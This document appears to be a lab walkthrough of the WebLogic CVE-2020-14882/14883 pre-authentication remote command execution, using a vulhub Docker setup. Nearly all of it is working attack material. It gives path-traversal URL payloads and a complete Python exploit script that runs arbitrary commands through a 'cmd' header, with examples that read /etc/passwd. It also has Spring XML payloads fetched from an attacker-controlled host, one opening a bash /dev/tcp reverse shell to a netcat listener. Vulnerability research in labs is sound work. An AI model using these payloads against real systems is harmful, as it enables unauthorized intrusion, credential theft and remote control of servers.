CVE-2020-14882 & CVE-2020-14883 Weblogic Pre-Auth Remote Command Execution¶

git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d

http://192.168.10.10:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# author: zhzyker

# from: https://github.com/zhzyker/vulmap

# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client. HTTPConnection._http_vsn_str = 'HTTP/1.0'

payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='

            'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
            '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
            'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
            '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
            '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
            'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
            'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
            '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
            '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
            '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
            'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
            'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
            'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')

def cve_2020_14882(url, cmd):

    payload = payload_cve_2020_14882_v12
    path = "/console/css/%252e%252e%252fconsole.portal"
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
                  'application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded',
        'cmd': cmd
    }
    try:
        request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
        print(request.text)
    except Exception as error:
        print("[-] Vuln Check Failed... ...")
        print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
                                     usage='use "python %(prog)s --help" for more information',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="target url (http://127.0.0.1:7001)"
                        )

    parser.add_argument("-c", "--cmd",
                        dest="cmd",
                        help="command"
                        )
    args = parser.parse_args()
    if not args.url or not args.cmd:
        sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
    cve_2020_14882(args.url, args.cmd)

python 14882-exp.py -u http://192.168.10.10:7001 -c "cat /etc/passwd"
python 14882-exp.py -u http://192.168.10.10:7001 -c "uname -a"
python 14882-exp.py -u http://192.168.10.10:7001 -c "id"

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>

</beans>

http://192.168.10.10:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support. FileSystemXmlApplicationContext("http://192.168.10.20/14882-rce.xml")

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/192.168.10.20/4444 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

nc -lvnp 4444

http://192.168.10.10:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.10.20/14882-shell-rce.xml")